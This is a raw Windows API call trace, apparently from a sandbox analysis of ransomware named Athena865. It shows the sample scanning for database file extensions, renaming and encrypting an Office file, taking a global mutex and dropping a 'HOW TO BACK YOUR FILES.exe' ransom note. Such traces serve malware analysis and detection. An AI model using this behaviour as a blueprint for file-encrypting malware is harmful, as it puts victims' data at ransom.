returned 1 [0150.200] lstrlenW (lpString="accdw") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accdw") returned 1 [0150.200] lstrlenW (lpString="accft") returned 5 [0150.200] lstrcmpiW (lpString1="O.ACL", lpString2="accft") returned 1 [0150.200] lstrlenW (lpString="adb") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="adb") returned -1 [0150.200] lstrlenW (lpString="adb") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="adb") returned -1 [0150.200] lstrlenW (lpString="ade") returned 3 [0150.200] lstrcmpiW (lpString1="ACL", lpString2="ade") returned -1 [0150.201] lstrlenW (lpString="adf") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="adf") returned -1 [0150.201] lstrlenW (lpString="adn") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="adn") returned -1 [0150.201] lstrlenW (lpString="adp") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="adp") returned -1 [0150.201] lstrlenW (lpString="alf") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="alf") returned -1 [0150.201] lstrlenW (lpString="ask") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="ask") returned -1 [0150.201] lstrlenW (lpString="btr") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="btr") returned -1 [0150.201] lstrlenW (lpString="cat") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="cat") returned -1 [0150.201] lstrlenW (lpString="cdb") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="cdb") returned -1 [0150.201] lstrlenW (lpString="ckp") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="ckp") returned -1 [0150.201] lstrlenW (lpString="cma") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="cma") returned -1 [0150.201] lstrlenW (lpString="cpd") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="cpd") returned -1 [0150.201] lstrlenW (lpString="dacpac") returned 6 [0150.201] lstrcmpiW (lpString1="SO.ACL", lpString2="dacpac") returned 1 [0150.201] lstrlenW (lpString="dad") returned 3 [0150.201] lstrcmpiW (lpString1="ACL", lpString2="dad") returned -1 [0150.201] lstrlenW (lpString="dadiagrams") returned 10 [0150.201] lstrlenW (lpString="daschema") returned 8 [0150.202] lstrlenW (lpString="db-journal") returned 10 [0150.202] lstrlenW (lpString="db-shm") returned 6 [0150.202] lstrcmpiW (lpString1="SO.ACL", lpString2="db-shm") returned 1 [0150.202] lstrlenW (lpString="db-wal") returned 6 [0150.202] lstrcmpiW (lpString1="SO.ACL", lpString2="db-wal") returned 1 [0150.202] lstrlenW (lpString="dbc") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dbc") returned -1 [0150.202] lstrlenW (lpString="dbs") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dbs") returned -1 [0150.202] lstrlenW (lpString="dbt") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dbt") returned -1 [0150.202] lstrlenW (lpString="dbv") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dbv") returned -1 [0150.202] lstrlenW (lpString="dbx") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dbx") returned -1 [0150.202] lstrlenW (lpString="dcb") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dcb") returned -1 [0150.202] lstrlenW (lpString="dct") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dct") returned -1 [0150.202] lstrlenW (lpString="dcx") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dcx") returned -1 [0150.202] lstrlenW (lpString="ddl") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="ddl") returned -1 [0150.202] lstrlenW (lpString="dlis") returned 4 [0150.202] lstrcmpiW (lpString1=".ACL", lpString2="dlis") returned -1 [0150.202] lstrlenW (lpString="dp1") returned 3 [0150.202] lstrcmpiW (lpString1="ACL", lpString2="dp1") returned -1 [0150.202] lstrlenW (lpString="dqy") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="dqy") returned -1 [0150.203] lstrlenW (lpString="dsk") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="dsk") returned -1 [0150.203] lstrlenW (lpString="dsn") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="dsn") returned -1 [0150.203] lstrlenW (lpString="dtsx") returned 4 [0150.203] lstrcmpiW (lpString1=".ACL", lpString2="dtsx") returned -1 [0150.203] lstrlenW (lpString="dxl") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="dxl") returned -1 [0150.203] lstrlenW (lpString="eco") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="eco") returned -1 [0150.203] lstrlenW (lpString="ecx") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="ecx") returned -1 [0150.203] lstrlenW (lpString="edb") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="edb") returned -1 [0150.203] lstrlenW (lpString="epim") returned 4 [0150.203] lstrcmpiW (lpString1=".ACL", lpString2="epim") returned -1 [0150.203] lstrlenW (lpString="fcd") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="fcd") returned -1 [0150.203] lstrlenW (lpString="fdb") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="fdb") returned -1 [0150.203] lstrlenW (lpString="fic") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="fic") returned -1 [0150.203] lstrlenW (lpString="flexolibrary") returned 12 [0150.203] lstrlenW (lpString="fm5") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="fm5") returned -1 [0150.203] lstrlenW (lpString="fmp") returned 3 [0150.203] lstrcmpiW (lpString1="ACL", lpString2="fmp") returned -1 [0150.203] lstrlenW (lpString="fmp12") returned 5 [0150.204] lstrcmpiW (lpString1="O.ACL", lpString2="fmp12") returned 1 [0150.204] lstrlenW (lpString="fmpsl") returned 5 [0150.204] lstrcmpiW (lpString1="O.ACL", lpString2="fmpsl") returned 1 [0150.204] lstrlenW (lpString="fol") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="fol") returned -1 [0150.204] lstrlenW (lpString="fp3") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="fp3") returned -1 [0150.204] lstrlenW (lpString="fp4") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="fp4") returned -1 [0150.204] lstrlenW (lpString="fp5") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="fp5") returned -1 [0150.204] lstrlenW (lpString="fp7") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="fp7") returned -1 [0150.204] lstrlenW (lpString="fpt") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="fpt") returned -1 [0150.204] lstrlenW (lpString="frm") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="frm") returned -1 [0150.204] lstrlenW (lpString="gdb") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="gdb") returned -1 [0150.204] lstrlenW (lpString="gdb") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="gdb") returned -1 [0150.204] lstrlenW (lpString="grdb") returned 4 [0150.204] lstrcmpiW (lpString1=".ACL", lpString2="grdb") returned -1 [0150.204] lstrlenW (lpString="gwi") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="gwi") returned -1 [0150.204] lstrlenW (lpString="hdb") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="hdb") returned -1 [0150.204] lstrlenW (lpString="his") returned 3 [0150.204] lstrcmpiW (lpString1="ACL", lpString2="his") returned -1 [0150.205] lstrlenW (lpString="ib") returned 2 [0150.205] lstrcmpiW (lpString1="CL", lpString2="ib") returned -1 [0150.205] lstrlenW (lpString="idb") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="idb") returned -1 [0150.205] lstrlenW (lpString="ihx") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="ihx") returned -1 [0150.205] lstrlenW (lpString="itdb") returned 4 [0150.205] lstrcmpiW (lpString1=".ACL", lpString2="itdb") returned -1 [0150.205] lstrlenW (lpString="itw") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="itw") returned -1 [0150.205] lstrlenW (lpString="jet") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="jet") returned -1 [0150.205] lstrlenW (lpString="jtx") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="jtx") returned -1 [0150.205] lstrlenW (lpString="kdb") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="kdb") returned -1 [0150.205] lstrlenW (lpString="kexi") returned 4 [0150.205] lstrcmpiW (lpString1=".ACL", lpString2="kexi") returned -1 [0150.205] lstrlenW (lpString="kexic") returned 5 [0150.205] lstrcmpiW (lpString1="O.ACL", lpString2="kexic") returned 1 [0150.205] lstrlenW (lpString="kexis") returned 5 [0150.205] lstrcmpiW (lpString1="O.ACL", lpString2="kexis") returned 1 [0150.205] lstrlenW (lpString="lgc") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="lgc") returned -1 [0150.205] lstrlenW (lpString="lwx") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="lwx") returned -1 [0150.205] lstrlenW (lpString="maf") returned 3 [0150.205] lstrcmpiW (lpString1="ACL", lpString2="maf") returned -1 [0150.206] lstrlenW (lpString="maq") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="maq") returned -1 [0150.206] lstrlenW (lpString="mar") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mar") returned -1 [0150.206] lstrlenW (lpString="marshal") returned 7 [0150.206] lstrlenW (lpString="mas") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mas") returned -1 [0150.206] lstrlenW (lpString="mav") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mav") returned -1 [0150.206] lstrlenW (lpString="maw") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="maw") returned -1 [0150.206] lstrlenW (lpString="mdbhtml") returned 7 [0150.206] lstrlenW (lpString="mdn") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mdn") returned -1 [0150.206] lstrlenW (lpString="mdt") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mdt") returned -1 [0150.206] lstrlenW (lpString="mfd") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mfd") returned -1 [0150.206] lstrlenW (lpString="mpd") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mpd") returned -1 [0150.206] lstrlenW (lpString="mrg") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mrg") returned -1 [0150.206] lstrlenW (lpString="mud") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mud") returned -1 [0150.206] lstrlenW (lpString="mwb") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="mwb") returned -1 [0150.206] lstrlenW (lpString="myd") returned 3 [0150.206] lstrcmpiW (lpString1="ACL", lpString2="myd") returned -1 [0150.206] lstrlenW (lpString="ndf") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="ndf") returned -1 [0150.207] lstrlenW (lpString="nnt") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="nnt") returned -1 [0150.207] lstrlenW (lpString="nrmlib") returned 6 [0150.207] lstrcmpiW (lpString1="SO.ACL", lpString2="nrmlib") returned 1 [0150.207] lstrlenW (lpString="ns2") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="ns2") returned -1 [0150.207] lstrlenW (lpString="ns3") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="ns3") returned -1 [0150.207] lstrlenW (lpString="ns4") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="ns4") returned -1 [0150.207] lstrlenW (lpString="nsf") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="nsf") returned -1 [0150.207] lstrlenW (lpString="nv") returned 2 [0150.207] lstrcmpiW (lpString1="CL", lpString2="nv") returned -1 [0150.207] lstrlenW (lpString="nv2") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="nv2") returned -1 [0150.207] lstrlenW (lpString="nwdb") returned 4 [0150.207] lstrcmpiW (lpString1=".ACL", lpString2="nwdb") returned -1 [0150.207] lstrlenW (lpString="nyf") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="nyf") returned -1 [0150.207] lstrlenW (lpString="odb") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="odb") returned -1 [0150.207] lstrlenW (lpString="odb") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="odb") returned -1 [0150.207] lstrlenW (lpString="oqy") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="oqy") returned -1 [0150.207] lstrlenW (lpString="ora") returned 3 [0150.207] lstrcmpiW (lpString1="ACL", lpString2="ora") returned -1 [0150.208] lstrlenW (lpString="orx") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="orx") returned -1 [0150.208] lstrlenW (lpString="owc") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="owc") returned -1 [0150.208] lstrlenW (lpString="p96") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="p96") returned -1 [0150.208] lstrlenW (lpString="p97") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="p97") returned -1 [0150.208] lstrlenW (lpString="pan") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="pan") returned -1 [0150.208] lstrlenW (lpString="pdb") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="pdb") returned -1 [0150.208] lstrlenW (lpString="pdm") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="pdm") returned -1 [0150.208] lstrlenW (lpString="pnz") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="pnz") returned -1 [0150.208] lstrlenW (lpString="qry") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="qry") returned -1 [0150.208] lstrlenW (lpString="qvd") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="qvd") returned -1 [0150.208] lstrlenW (lpString="rbf") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="rbf") returned -1 [0150.208] lstrlenW (lpString="rctd") returned 4 [0150.208] lstrcmpiW (lpString1=".ACL", lpString2="rctd") returned -1 [0150.208] lstrlenW (lpString="rod") returned 3 [0150.208] lstrcmpiW (lpString1="ACL", lpString2="rod") returned -1 [0150.208] lstrlenW (lpString="rodx") returned 4 [0150.208] lstrcmpiW (lpString1=".ACL", lpString2="rodx") returned -1 [0150.208] lstrlenW (lpString="rpd") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="rpd") returned -1 [0150.209] lstrlenW (lpString="rsd") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="rsd") returned -1 [0150.209] lstrlenW (lpString="sas7bdat") returned 8 [0150.209] lstrlenW (lpString="sbf") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="sbf") returned -1 [0150.209] lstrlenW (lpString="scx") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="scx") returned -1 [0150.209] lstrlenW (lpString="sdb") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="sdb") returned -1 [0150.209] lstrlenW (lpString="sdc") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="sdc") returned -1 [0150.209] lstrlenW (lpString="sdf") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="sdf") returned -1 [0150.209] lstrlenW (lpString="sis") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="sis") returned -1 [0150.209] lstrlenW (lpString="spq") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="spq") returned -1 [0150.209] lstrlenW (lpString="te") returned 2 [0150.209] lstrcmpiW (lpString1="CL", lpString2="te") returned -1 [0150.209] lstrlenW (lpString="teacher") returned 7 [0150.209] lstrlenW (lpString="tmd") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="tmd") returned -1 [0150.209] lstrlenW (lpString="tps") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="tps") returned -1 [0150.209] lstrlenW (lpString="trc") returned 3 [0150.209] lstrcmpiW (lpString1="ACL", lpString2="trc") returned -1 [0150.209] lstrlenW (lpString="trc") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="trc") returned -1 [0150.210] lstrlenW (lpString="trm") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="trm") returned -1 [0150.210] lstrlenW (lpString="udb") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="udb") returned -1 [0150.210] lstrlenW (lpString="udl") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="udl") returned -1 [0150.210] lstrlenW (lpString="usr") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="usr") returned -1 [0150.210] lstrlenW (lpString="v12") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="v12") returned -1 [0150.210] lstrlenW (lpString="vis") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="vis") returned -1 [0150.210] lstrlenW (lpString="vpd") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="vpd") returned -1 [0150.210] lstrlenW (lpString="vvv") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="vvv") returned -1 [0150.210] lstrlenW (lpString="wdb") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="wdb") returned -1 [0150.210] lstrlenW (lpString="wmdb") returned 4 [0150.210] lstrcmpiW (lpString1=".ACL", lpString2="wmdb") returned -1 [0150.210] lstrlenW (lpString="wrk") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="wrk") returned -1 [0150.210] lstrlenW (lpString="xdb") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="xdb") returned -1 [0150.210] lstrlenW (lpString="xld") returned 3 [0150.210] lstrcmpiW (lpString1="ACL", lpString2="xld") returned -1 [0150.210] lstrlenW (lpString="xmlff") returned 5 [0150.211] lstrcmpiW (lpString1="O.ACL", lpString2="xmlff") returned -1 [0150.211] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.Athena865") returned 65 [0150.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.athena865"), dwFlags=0x1) returned 1 [0150.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.212] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50556) returned 1 [0150.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0150.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.213] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.214] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.214] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.214] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc880, lpName=0x0) returned 0x17c [0150.216] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc880) returned 0x100000 [0150.221] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.222] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.222] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0150.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0150.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0150.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.222] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0150.223] CloseHandle (hObject=0x17c) returned 1 [0150.223] CloseHandle (hObject=0x154) returned 1 [0150.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0150.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.223] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0150.224] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0150.224] ReleaseMutex (hMutex=0xec) returned 1 [0150.224] CloseHandle (hObject=0xec) returned 1 [0150.224] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0150.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce58 | out: hHeap=0x4f0000) returned 1 [0150.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned 52 [0150.224] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2357A9504D3915865DB03EB3E823AF7E") returned 0xec [0150.224] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0150.224] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0150.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0150.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\how to back your files.exe"), bFailIfExists=1) returned 0 [0150.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0150.225] GetLastError () returned 0x0 [0150.226] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0150.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0150.226] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0150.227] CloseHandle (hObject=0xf4) returned 1 [0150.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0150.227] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0150.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf300ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf300ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0150.227] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.227] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.227] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0150.227] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf300ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf300ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.227] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.227] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.227] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0150.227] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0150.227] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".") returned 1 